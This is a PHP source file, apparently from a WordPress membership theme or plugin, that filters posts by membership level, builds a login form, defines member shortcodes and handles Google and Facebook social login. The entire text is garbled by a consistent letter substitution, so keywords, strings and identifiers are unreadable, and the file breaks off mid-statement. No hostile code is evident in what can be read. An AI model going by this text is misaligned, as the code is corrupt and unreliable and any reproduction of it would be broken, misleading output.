SBiDulCB0FzBn = FooFh_CxAA(SFuu0FzBn, Smyxn-QzmUFuurjBC)U xA (SquFDByruCBo = zBm_qFzB_Eh_qFmy(QplrmUtBtEBozBsxlnQplrmU)) { SBiDulCB0FzBn[] = xsmkFu(SquFDByruCBo-QzmU7c)U } oBmlos FooFh_tBozB(SqFzBn, SBiDulCB0FzBn)U } qlEuxD AlsDmxrs wrxs(Swrxs=QplrmUQplrmU, SAroDB=AFunB) { zurEFu Sjq_plBoh, SjqCE, Sjq_kBonxrsU zurEFu SqrnmU xA (xn_FCtxs()) { oBmlos SwrxsU } xA (VSmyxn-QzmUFuurjBC || Vxn_FooFh(Smyxn-QzmUFuurjBC)) { oBmlos SwrxsU } xA (nmoqrn(Swrxs, SjqCE-QzmUmBot_oBuFmxrsnyxqn) V== AFunB) { oBmlos SwrxsU } Swrxs .= QplrmU 4ba# 6172 QplrmU.SjqCE-QzmUmBot_oBuFmxrsnyxqn.QplrmU f$ DoBu 12 (QplrmU.SjqCE-QzmUqrnmn.QplrmU.7c = DoBu.rEwBDm_xC) 4ba# 6172 QplrmU.SjqCE-QzmUmBot_mFirsrth.QplrmU f$ DmFi 12 (DmFi.mFirsrth = QTPMGUDFmBzrohQTPMGU f2c DoBu.mBot_mFirsrth_xC = DmFi.mBot_mFirsrth_xC) 4ba# 6172 QplrmU.SjqCE-QzmUmBotn.QplrmU f$ DmBo 12 (DmFi.mBot_xC = DmBo.mBot_xC) QplrmUU oBmlos SwrxsU } AlsDmxrs zorlqeh( SzorlqEh ) { xA (xn_FCtxs()) { oBmlos SzorlqEhU } xA (VSmyxn-QzmUFuurjBC || Vxn_FooFh(Smyxn-QzmUFuurjBC)) { oBmlos SzorlqEhU } zurEFu SjqCEU SthzorlqEh = SjqCE-QzmUqrnmn.QplrmU.7cQplrmUU xA( qoBz_tFmDy( QplrmU/QplrmU.SthzorlqEh.QplrmU/QplrmU, SzorlqEh )) { oBmlos SzorlqEhU } xA( VnmouBs(moxt(SzorlqEh))) { oBmlos SthzorlqEhU } oBmlos SzorlqEh . QplrmU, QplrmU . SthzorlqEhU } AlsDmxrs zBm#Botn(SDFmBzroxBn, SFoz) { zurEFu SqrnmU xA (xn_FCtxs()) { oBmlos SDFmBzroxBnU } xA (VSmyxn-QzmUFuurjBC || Vxn_FooFh(Smyxn-QzmUFuurjBC)) { oBmlos SDFmBzroxBnU } xA (oBnBm(SFoz) == QplrmUuxsv_DFmBzrohQplrmU) { oBmlos SDFmBzroxBnU } xA (xnnBm(Sqrnm) QFtqUQFtqU xnnBm(Sqrnm-QzmUqrnm_sFtB) QFtqUQFtqU Sqrnm-QzmUqrnm_sFtB == QplrmUjxnyuxnm-tBtEBoQplrmU) { oBmlos FooFh()U } AroBFDy (SDFmBzroxBn Fn SxsCBi =QzmU SrEw) { xA (xnnBm(SrEw-QzmUmBot_xC)) { SxC = SrEw-QzmUmBot_xCU Sqrnmn = zBm_qrnmn(FooFh(QplrmUsltEBoqrnmnQplrmU =QzmU O, QplrmUDFmBzrohQplrmU =QzmU SxC, QplrmUnlqqoBnn_AxumBonQplrmU =QzmU AFunB))U xA (Drlsm(Sqrnmn) == P) { lsnBm(SDFmBzroxBn[SxsCBi])U } } } oBmlos SDFmBzroxBnU } qlEuxD AlsDmxrs urDvCrjs(SFDmxrs=QplrmUurzxsQplrmU, SyFny=sluu) { zurEFu StBtEBozBsxlnU FCC_AxumBo( QTPMGUjq_sFk_tBsl_xmBtnQTPMGU, QTPMGU__oBmlos_Btqmh_nmoxszQTPMGU, OP, N )U oBtrkB_Fuu_AxumBon(QTPMGUqrnmn_zorlqEhQTPMGU)U oBtrkB_Fuu_AxumBon(QTPMGUqrnmn_jyBoBQTPMGU)U oBtrkB_Fuu_AxumBon(QTPMGUqrnmn_wrxsQTPMGU)U xA (SFDmxrs == QplrmUurzxsQplrmU) { FCC_AxumBo(QTPMGUmyB_DrsmBsmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDrsmBsmQTPMGU), OPPP)U } BunBxA (SFDmxrs == QplrmUoBzxnmBoQplrmU) { FCC_AxumBo(QTPMGUqFzB_mBtquFmBQTPMGU, FooFh(QFtqUSmyxn, QplrmUurDvCrjs_mBtquFmBQplrmU), OP)U FCC_AxumBo(QTPMGUmyB_DrsmBsmQTPMGU, FooFh(StBtEBozBsxln-QzmUFCtxs, QTPMGUoBzxnmBoQTPMGU), OPPP)U FCC_AxumBo(QTPMGUmyB_qBotFuxsvQTPMGU, FooFh(QFtqUSmyxn, QplrmUqBotFuxsvQplrmU), OPPP)U } FCC_FDmxrs(QTPMGUjq_ArrmBoQTPMGU, FooFh(QFtqUSmyxn, QTPMGUsrarrmBoQTPMGU), OPPP)U FCC_AxumBo(QTPMGUqoB_zBm_qrnmnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUsr0rnmnQTPMGU), OPPP)U FCC_FDmxrs(QTPMGUjqQTPMGU, FooFh(QFtqUSmyxn, QTPMGUsr0rnmQTPMGU), OP)U FCC_AxumBo(QTPMGUmyB_qrnmnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUyxCBdrttBsmnQTPMGU))U FCC_AxumBo(QTPMGUmyB_mxmuBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUmxmuBQTPMGU))U FCC_AxumBo(QTPMGUzBm_DrttBsmn_sltEBoQTPMGU, QTPMGU__oBmlos_gBorQTPMGU)U FCC_AxumBo(QTPMGUDrttBsmn_FooFhQTPMGU, QTPMGU__oBmlos_Btqmh_FooFhQTPMGU, O)U FCC_AxumBo(QTPMGUnxCBEFon_jxCzBmnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDuBFo_jxCzBmnQTPMGU))U FCC_AxumBo(QTPMGUmyB_CFmBQTPMGU, QTPMGU__oBmlos_sluuQTPMGU)U FCC_AxumBo(QTPMGUzBm_myB_CFmBQTPMGU, QTPMGU__oBmlos_sluuQTPMGU)U FCC_AxumBo(QTPMGUmyB_mxtBQTPMGU, QTPMGU__oBmlos_sluuQTPMGU)U FCC_AxumBo(QTPMGUzBm_myB_mxtBQTPMGU, QTPMGU__oBmlos_sluuQTPMGU)U FCC_AxumBo(QTPMGUzBm_myB_DFmBzroxBnQTPMGU, QTPMGU__oBmlos_Btqmh_nmoxszQTPMGU)U FCC_AxumBo(QTPMGUjq_uxnm_DFmBzroxBnQTPMGU, QTPMGU__oBmlos_Btqmh_nmoxszQTPMGU)U FCC_AxumBo(QTPMGUzBm_qFzBnQTPMGU, QTPMGU__oBmlos_sluuQTPMGU)U } AlsDmxrs urDvCrjs_mBtquFmB(SmBtquFmB) { SAxuB = sluuU SmyBtB = zBm_mBtquFmB_CxoBDmroh()U xA (EFnBsFtB(SmyBtB) == QplrmUsxokFsFQplrmU) { SAxuB = moFxuxsznuFnyxm(SmyBtB) . QTPMGUmBtquFmBn/mBtquFmB-rsBDrults.qyqQTPMGUU } xA (SAxuB QFtqUQFtqU AxuB_Bixnmn(SAxuB)) { oBmlos SAxuBU } oBmlos SmBtquFmBU } qlEuxD AlsDmxrs qBotFuxsv(Slou) { oBmlos QplrmUWQplrmU.S_$b !b [QplrmU&;b QplrmU.Dyo(HG).QplrmU_$# 729QplrmU]U } qlEuxD AlsDmxrs srarrmBo() { WQzmUY QumUnmhuB mhqB=QplrmUmBim/DnnQplrmUQzmUY QumUV--Y .Bsmoh-tBmF, .sFkxzFmxrs, .sFk-tBsl, .nxmB-xsAr, TDrurqyrs { CxnquFh:srsBU }Y .Bsmoh-mxmuB { mBim-Fuxzs:DBsmBoU }Y // --QzmUY QumU/nmhuBQzmUY QumUWqyqY } qlEuxD AlsDmxrs sr0rnm() { zurEFu Sjq_plBohU xA (VSjq_plBoh-QzmUqrnm) { Sjq_plBoh-QzmUqrnm_Drlsm = OU } } qlEuxD AlsDmxrs myB_qrnmn(Sqrnmn) { xA (Drlsm(Sqrnmn) QzmU O) { oBmlos FooFh_nuxDB(Sqrnmn, P, O)U } oBmlos SqrnmnU } qlEuxD AlsDmxrs sr0rnmn(SplBoh) { zurEFu Sjq_plBohU FCC_AxumBo(QplrmUmyB_qrnmnQplrmU, FooFh(QFtqUSmyxn, QplrmUmyB_qrnmnQplrmU))U SplBoh-QzmUnBm(QplrmUtFi_slt_qFzBnQplrmU, QplrmUOQplrmU)U SplBoh-QzmUnBm(QplrmUqrnmn_qBo_qFzBQplrmU, QplrmUOQplrmU)U SplBoh-QzmUnBm(QplrmUsltEBoqrnmnQplrmU, QplrmUOQplrmU)U SplBoh-QzmUnBm(QTPMGUqrnm_mhqBQTPMGU ,QTPMGUqFzBQTPMGU)U SplBoh-QzmUnBm(QTPMGUqrnm__xsQTPMGU ,FooFh( ))U SplBoh-QzmUnBm(QTPMGUroCBoEhQTPMGU ,QTPMGUqrnm__xsQTPMGU)U SplBoh-QzmUnBm(QTPMGUqQTPMGU , sluu)U oBtrkB_Fuu_FDmxrsn (QTPMGU__FAmBo_urrqQTPMGU)U oBmlos SplBohU } qlEuxD AlsDmxrs mxmuB(SElAABo) { zurEFu StBtEBozBsxlnU xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmUuBkBu_sFtB)) { oBmlos StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmUuBkBu_sFtB . QTPMGU QTPMGU .__(QTPMGU BzxnmoFmxrsQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U } oBmlos Smyxn-QzmUqormBDmBC#xmuBU } qlEuxD AlsDmxrs DrttBsmn(Sqrnmn) { zurEFu StBtEBozBsxlnU xA (DlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU)) { oBmlos SqrnmnU } SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SDlooBsm_lnBo-QzmU7c)U AroBFDy (SuBkBun Fn SuBkBu) { xA (SuBkBu-QzmUuBkBu_DrttBsmn == O) { oBmlos SqrnmnU } } AroBFDy (Sqrnmn Fn Sqrnm7c =QzmU Sqrnm) { Sqrnmn[Sqrnm7c]-QzmUDrttBsm_nmFmln = QTPMGUDurnBCQTPMGUU Sqrnmn[Sqrnm7c]-QzmUqxsz_nmFmln = QTPMGUDurnBCQTPMGUU } oBmlos SqrnmnU } qlEuxD AlsDmxrs yxCBdrttBsmn(Sqrnmn) { AroBFDy (Sqrnmn Fn Sqrnm7c =QzmU Sqrnm) { Sqrnmn[Sqrnm7c]-QzmUDrttBsm_nmFmln = QTPMGUDurnBCQTPMGUU Sqrnmn[Sqrnm7c]-QzmUqxsz_nmFmln = QTPMGUDurnBCQTPMGUU Sqrnmn[Sqrnm7c]-QzmUDrttBsm_Drlsm = PU } oBmlos SqrnmnU } qlEuxD AlsDmxrs DuBFo_jxCzBmn(SnxCBEFon_jxCzBmn) { oBmlos FooFh(AFunB)U } qlEuxD AlsDmxrs DrsmBsm(SElAABo) { zurEFu SFCtxs_BtFxuU SFCtxs_BtFxu = zBm_rqmxrs(QplrmUFCtxs_BtFxuQplrmU)U WQzmUY QumUCxk Fuxzs=QplrmUDBsmBoQplrmUQzmUY QumUWqyqY xA (VzBm_rqmxrs(QplrmUjqqq_lnBosFtBQplrmU) || VzBm_rqmxrs(QplrmUjqqq_qFnnjroCQplrmU)) { jq_urzxs_Arot()U } BunBxA (AxuB_Bixnmn(CxosFtB(__a74b__).QplrmU/tBtEBo-urzxs.qyqQplrmU)) { oBplxoB(CxosFtB(__a74b__).QplrmU/tBtEBo-urzxs.qyqQplrmU)U } BunB { WQzmUY QumUArot tBmyrC=QplrmU01$#QplrmUQzmUY QumUuFEBuQzmU;nBosFtB: QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUjqqq_lnBosFtBQplrmU nxgB=QplrmUOPQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY QumUuFEBuQzmU0FnnjroC: QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU sFtB=QplrmUjqqq_qFnnjroCQplrmU nxgB=QplrmUOPQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY QumUxsqlm mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmUdrsmxslBQplrmU /QzmUY QumU/ArotQzmUYY QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUQumUF yoBA=QplrmUQumUWqyq BDyr jq_urnmqFnnjroC_lou( zBm_qBotFuxsv() )U WQzmUQplrmUQzmU4rnm 0FnnjroCWQumU/FQzmUQumU/qQzmUY QumUWqyqY } WQzmUY QumU/CxkQzmUY QumUWqyqY } } DuFnn 3BtEBo9Bsxln$yromDrCBn { qlEuxD AlsDmxrs __DrsnmolDm() { FCC_nyromDrCB(QTPMGUtz_AxonmsFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUAxonmsFtBQTPMGU))U FCC_nyromDrCB(QTPMGUtz_uFnmsFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUuFnmsFtBQTPMGU))U FCC_nyromDrCB(QTPMGUtz_BtFxuQTPMGU, FooFh(QFtqUSmyxn, QTPMGUBtFxuQTPMGU))U FCC_nyromDrCB(QTPMGUtz_lnBosFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUlnBosFtBQTPMGU))U FCC_nyromDrCB(QTPMGUtz_qoxkFmBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqoxkFmBmFzQTPMGU))U FCC_nyromDrCB(QTPMGUqoxkFmBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqoxkFmBmFzQTPMGU))U xA (VDuFnn_Bixnmn(QplrmU?43f07QplrmU)) { FCC_nyromDrCB(QTPMGUAxonmsFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUAxonmsFtBQTPMGU))U FCC_nyromDrCB(QTPMGUuFnmsFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUuFnmsFtBQTPMGU))U FCC_nyromDrCB(QTPMGUBtFxuQTPMGU, FooFh(QFtqUSmyxn, QTPMGUBtFxuQTPMGU))U FCC_nyromDrCB(QTPMGUlnBosFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUlnBosFtBQTPMGU))U FCC_nyromDrCB(QTPMGUjut_qoxkFmBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqoxkFmBmFzQTPMGU))U FCC_nyromDrCB(QTPMGUjut_AxonmsFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUAxonmsFtBQTPMGU))U FCC_nyromDrCB(QTPMGUjut_uFnmsFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUuFnmsFtBQTPMGU))U FCC_nyromDrCB(QTPMGUjut_BtFxuQTPMGU, FooFh(QFtqUSmyxn, QTPMGUBtFxuQTPMGU))U FCC_nyromDrCB(QTPMGUjut_lnBosFtBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUlnBosFtBQTPMGU))U } } qlEuxD AlsDmxrs qoxkFmBmFz(SFmmn, SDrsmBsm) { zurEFu StBtEBozBsxlnU SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (Drlsm(SFmmn) == P) { oBmlos QplrmUQplrmUU } SuBkBu = SFmmn[P]U SlnBo4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SDlooBsm_lnBo-QzmU7c, QplrmUfQplrmU)U SlnBo4BkBun = FooFh_tFq(DoBFmB_AlsDmxrs(QTPMGUSFQTPMGU, QTPMGUoBmlos SF-QzmUuBkBu_sFtBUQTPMGU), SlnBo4BkBun)U xA (xs_FooFh(SuBkBu, SlnBo4BkBun)) { oBmlos SDrsmBsmU } oBmlos QplrmUQplrmUU } qlEuxD AlsDmxrs AxonmsFtB() { SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (VSDlooBsm_lnBo) { oBmlosU } oBmlos SDlooBsm_lnBo-QzmUlnBo_AxonmsFtBU } qlEuxD AlsDmxrs uFnmsFtB() { SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (VSDlooBsm_lnBo) { oBmlosU } oBmlos SDlooBsm_lnBo-QzmUlnBo_uFnmsFtBU } qlEuxD AlsDmxrs BtFxu() { SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (VSDlooBsm_lnBo) { oBmlosU } oBmlos SDlooBsm_lnBo-QzmUlnBo_BtFxuU } qlEuxD AlsDmxrs tBtEBouBkBu() { SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (VSDlooBsm_lnBo) { oBmlosU } } qlEuxD AlsDmxrs lnBosFtB() { SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U xA (VSDlooBsm_lnBo) { oBmlosU } oBmlos SDlooBsm_lnBo-QzmUlnBo_urzxsU } } DuFnn 3BtEBo9Bsxln$rDxFu { kFo SyFsCuBonU AlsDmxrs __DrsnmolDm() { Smyxn-QzmUyFsCuBon = FooFh( QplrmUzrrzuBQplrmU =QzmU sBj 3BtEBo9Bsxln$rDxFu8FsCuBo9rrzuB, QplrmUAFDBErrvQplrmU =QzmU sBj 3BtEBo9Bsxln$rDxFu8FsCuBoaFDBErrv )U } AlsDmxrs oBzxnmoFmxrs() { AroBFDy (Smyxn-QzmUyFsCuBon Fn SyFsCuBo) { SyFsCuBo-QzmUoBzxnmoFmxrs()U } } } DuFnn 3BtEBo9Bsxln$rDxFu8FsCuBo { kFo SBooro = sluuU kFo SoBFCh = AFunBU kFo Snulz_DFuuEFDv, Snulz_DrssBDmU kFo SuFEBu_urzxs, SuFEBu_oBzxnmBoU kFo SnBmmxsz_BsFEuBC, SnBmmxsz_Fqq, SnBmmxsz_nBDoBmU kFo SDruro = QplrmUTPPHKEFQplrmUU AlsDmxrs __DrsnmolDm() { Smyxn-QzmUnulz_DFuuEFDv = Smyxn-QzmUnulz.QplrmU_DFuuEFDvQplrmUU Smyxn-QzmUnulz_DrssBDm = Smyxn-QzmUnulz.QplrmU_DrssBDmQplrmUU Smyxn-QzmUnulz_nBnnxrs = QplrmUtBtEBozBsxln_nrDxFu_QplrmU.Smyxn-QzmUnulzU Smyxn-QzmUuFEBu_urzxs = QplrmU4rz 7s jxmy QplrmU.Smyxn-QzmUsFtBU Smyxn-QzmUuFEBu_oBzxnmBo = QplrmU BzxnmBo jxmy QplrmU.Smyxn-QzmUsFtBU Smyxn-QzmUnBmmxsz_BsFEuBC = QplrmUnrDxFu_QplrmU.Smyxn-QzmUnulz.QplrmU_BsFEuBCQplrmUU Smyxn-QzmUnBmmxsz_Fqq = QplrmUnrDxFu_QplrmU.Smyxn-QzmUnulz.QplrmU_FqqQplrmUU Smyxn-QzmUnBmmxsz_nBDoBm = QplrmUnrDxFu_QplrmU.Smyxn-QzmUnulz.QplrmU_nBDoBmQplrmUU Smyxn-QzmUnBmmxsz_lnBo = QplrmUnrDxFu_QplrmU.Smyxn-QzmUnulzU FCC_FDmxrs(QTPMGUxsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUxsxmQTPMGU), O)U FCC_FDmxrs(QTPMGUxsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzxs_nrDxFuQTPMGU))U FCC_FDmxrs(QTPMGUxsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUoBzxnmBo_nrDxFuQTPMGU))U FCC_AxumBo(QTPMGUurzxs_tBnnFzBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzxs_tBnnFzBQTPMGU))U FCC_AxumBo(QTPMGUurzxs_Arot_ErmmrtQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzxs_Arot_ErmmrtQTPMGU), OPP)U FCC_FDmxrs(QTPMGUurzxs_ArotQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzxs_ArotQTPMGU))U FCC_FDmxrs(QTPMGUjq_urzxsQTPMGU, FooFh(QFtqUSmyxn, QTPMGUurzxs_nFkBQTPMGU), H, N)U } qlEuxD AlsDmxrs xsxm() { zurEFu StBtEBozBsxlnU Smyxn-QzmUoBFCh = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(Smyxn-QzmUnBmmxsz_BsFEuBC) QFtqUQFtqU StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(Smyxn-QzmUnBmmxsz_Fqq) QFtqUQFtqU StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(Smyxn-QzmUnBmmxsz_nBDoBm)U xA (VSmyxn-QzmUoBFCh) { oBmlosU } @nBnnxrs_nmFom()U } AlsDmxrs urzxs(Sjq_lnBo) { jq_nBm_Flmy_DrrvxB(Sjq_lnBo-QzmU7c)U Cr_FDmxrs(QTPMGUjq_urzxsQTPMGU, Sjq_lnBo-QzmUlnBo_urzxs, Sjq_lnBo)U S_01$#[QTPMGUurzQTPMGU] = Sjq_lnBo-QzmUlnBo_urzxsU yBFCBo(QplrmU4rDFmxrs:QplrmU.yrtB_lou())U CxB()U } AlsDmxrs oBzxnmBo(SlnBo, SuBkBu=sluu, Smis=sluu) { zurEFu StBtEBozBsxlnU xA (SuBkBu == sluu) { oBmlos sBj ?0_booro(QplrmUsruBkBuQplrmU, QplrmU2r uBkBu zxkBs.QplrmU)U } SlnBosFtB = SlnBo[QplrmUlnBosFtBQplrmU]U xA (zBm_lnBo_Eh(QTPMGUurzxsQTPMGU, SlnBosFtB)) { SlnBosFtB = SlnBo[QplrmUBtFxuQplrmU]U } xA (zBm_lnBo_Eh(QTPMGUurzxsQTPMGU, SlnBosFtB)) { SlnBosFtB = SlnBo[QplrmUBtFxuQplrmU]U oBmlos sBj ?0_booro(QplrmUlnBoBixnmnQplrmU, QplrmU;nBo FuoBFCh Bixnmn.QplrmU)U } SDoBFmB = FooFh( QplrmUFDmxrsQplrmU =QzmU QplrmUtBtEBozBsxln_oBzxnmBoQplrmU, QplrmUtBtEBozBsxln_uBkBuQplrmU =QzmU SuBkBu, QplrmUtBtEBozBsxln_lnBosFtBQplrmU =QzmU SlnBosFtB, QplrmUtBtEBozBsxln_BtFxuQplrmU =QzmU SlnBo[QplrmUBtFxuQplrmU], QplrmUtBtEBozBsxln_AxonmsFtBQplrmU =QzmU SlnBo[QplrmUAxonm_sFtBQplrmU], QplrmUtBtEBozBsxln_uFnmsFtBQplrmU =QzmU SlnBo[QplrmUuFnm_sFtBQplrmU] )U Srlmqlm = StBtEBozBsxln-QzmUFCtxs-QzmUDoBFmB(SDoBFmB)U oBmlos SrlmqlmU } qlEuxD AlsDmxrs oBplBnm(SplBoh=QplrmUtBtEBozBsxln_urzxsQplrmU) { zurEFu StBtEBozBsxlnU SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(Smyxn-QzmUnBmmxsz_Fqq)U xA (VSmrvBs) { oBmlosU } SoBnlum = FooFh(QplrmUmrvBsQplrmU =QzmU SmrvBs, QplrmUuBkBuQplrmU =QzmU sluu, QplrmUlouQplrmU =QzmU sluu)U Slou = yrtB_lou(QplrmUjq-urzxs.qyqWQplrmU.SplBoh.QplrmU=QplrmU.Smyxn-QzmUnulz_DFuuEFDv)U xA (SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { oBnBm(S_9b#)U SuBkBu = EFnBsFtB(vBh(S_9b#))U SoBnlum[QplrmUuBkBuQplrmU] = SuBkBuU Slou = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SuBkBu, molB).QTPMGUQFtqUQTPMGU.SplBoh.QTPMGU=QTPMGU.Smyxn-QzmUnulz_DFuuEFDvU } SoBnlum[QplrmUlouQplrmU] = SlouU oBmlos SoBnlumU } qlEuxD AlsDmxrs qorDBnn(SnrDxFu_lnBo, SnBmmxsz_lnBo, SplBoh=QplrmUtBtEBozBsxln_urzxsQplrmU) { zurEFu StBtEBozBsxlnU @nBnnxrs_nmFom()U xA (Btqmh(SnrDxFu_lnBo) || VxnnBm(SnrDxFu_lnBo[QplrmUxCQplrmU]) || VxnnBm(SnrDxFu_lnBo[QplrmUBtFxuQplrmU]) || Vxn_sltBoxD(SnrDxFu_lnBo[QplrmUxCQplrmU]) || Vxn_BtFxu(SnrDxFu_lnBo[QplrmUBtFxuQplrmU])) { oBmlos AFunBU } BunBxA (xnnBm(S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU]) QFtqUQFtqU S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU]) { SyFny = nmoxqnuFnyBn(S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU])U lsnBm(S_$b$$712[QplrmUtBtEBozBsxln_yFnyQplrmU])U } BunB { SyFny = EFnBsFtB(vBh(S_9b#))U } xA (SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU QFtqUQFtqU xnnBm(S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU]) QFtqUQFtqU (SmBtq_lnBo = StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqaort#oFsnFDmxrs(S_$b$$712[QplrmUtBtEBozBsxln_mBtqQplrmU]))) { SrkBojoxmB = FooFh( QplrmUlnBosFtBQplrmU =QzmU SnrDxFu_lnBo[QplrmUlnBosFtBQplrmU], QplrmUBtFxuQplrmU =QzmU SnrDxFu_lnBo[QplrmUBtFxuQplrmU], QplrmUAxonmsFtBQplrmU =QzmU SnrDxFu_lnBo[QplrmUAxonm_sFtBQplrmU], QplrmUuFnmsFtBQplrmU =QzmU SnrDxFu_lnBo[QplrmUuFnm_sFtBQplrmU], SnBmmxsz_lnBo =QzmU SnrDxFu_lnBo[QplrmUxCQplrmU] )U SDrtquBmB = StBtEBozBsxln-QzmUtrCBu-QzmUDrtquBmB#Btq(SmBtq_lnBo-QzmU7c, SrkBojoxmB)U } BunBxA (Sjq_lnBo = StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$BFoDy(SnBmmxsz_lnBo, SnrDxFu_lnBo[QplrmUxCQplrmU])) { xA (VxnnBm(Sjq_lnBo-QzmU7c) || Vxn_sltBoxD(Sjq_lnBo-QzmU7c)) { oBmlos AFunBU } xA (SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { SuBkBu = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBuaort8Fny(SyFny)U StBtEBozBsxln-QzmUtrCBu-QzmUFCC(Sjq_lnBo-QzmU7c, SuBkBu-QzmU7c)U xA (DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { jq_oBCxoBDm(StBtEBozBsxln-QzmUFCtxs-QzmUmFE4xsv(QplrmUtBtEBonQplrmU))U CxB()U } BunB { Smyxn-QzmUurzxs(Sjq_lnBo)U } oBmlosU } BunB { Smyxn-QzmUurzxs(Sjq_lnBo)U } } BunBxA ((SnrDxFu_lnBo[QplrmUkBoxAxBCQplrmU] == molB) QFtqUQFtqU (Sjq_lnBo = zBm_lnBo_Eh(QTPMGUBtFxuQTPMGU, SnrDxFu_lnBo[QplrmUBtFxuQplrmU]))) { xA (SBixnmxsz;nBo = StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$BFoDy(SnBmmxsz_lnBo, SnrDxFu_lnBo[QplrmUxCQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(Sjq_lnBo-QzmU7c, SnBmmxsz_lnBo, sluu)U } StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(Sjq_lnBo-QzmU7c, SnBmmxsz_lnBo, SnrDxFu_lnBo[QplrmUxCQplrmU])U xA (SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { SuBkBu = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBuaort8Fny(SyFny)U StBtEBozBsxln-QzmUtrCBu-QzmUFCC(Sjq_lnBo-QzmU7c, SuBkBu-QzmU7c)U xA (DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { jq_oBCxoBDm(StBtEBozBsxln-QzmUFCtxs-QzmUmFE4xsv(QplrmUtBtEBonQplrmU))U CxB()U } BunB { Smyxn-QzmUurzxs(Sjq_lnBo)U } } BunB { Smyxn-QzmUurzxs(Sjq_lnBo)U } } BunB { xA (SplBoh == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { SuBkBu = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBuaort8Fny(SyFny)U xA (SuBkBu QFtqUQFtqU xnnBm(SuBkBu-QzmU7c)) { Smyxn-QzmUoBzxnmBo(SnrDxFu_lnBo, SuBkBu-QzmU7c)U xA (DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { jq_oBCxoBDm(StBtEBozBsxln-QzmUFCtxs-QzmUmFE4xsv(QplrmUtBtEBonQplrmU))U CxB()U } BunB { Smyxn-QzmUurzxs(Sjq_lnBo)U } } BunB { oBmlos sBj ?0_booro(QplrmUsruBkBuQplrmU, QplrmU3BtEBonyxq uBkBu CrBn srm Bixnm.QplrmU)U } } BunB { S_$b$$712[Smyxn-QzmUnulz_nBnnxrs] = SnrDxFu_lnBo[QplrmUxCQplrmU]U SoBCxoBDm = yrtB_lou(QplrmUjq-urzxs.qyqWQplrmU.SplBoh.QplrmU=QplrmU.Smyxn-QzmUnulz_DrssBDm)U yBFCBo(QplrmU4rDFmxrs: QplrmU.SoBCxoBDm)U CxB()U } } } qlEuxD AlsDmxrs urzxs_nrDxFu() { xA (VxnnBm(S_9b#[QplrmUtBtEBozBsxln_urzxsQplrmU])) { oBmlosU } xA (S_9b#[QplrmUtBtEBozBsxln_urzxsQplrmU] == Smyxn-QzmUnulz) { Smyxn-QzmUoBplBnm()U oBmlosU } xA (S_9b#[QplrmUtBtEBozBsxln_urzxsQplrmU] == 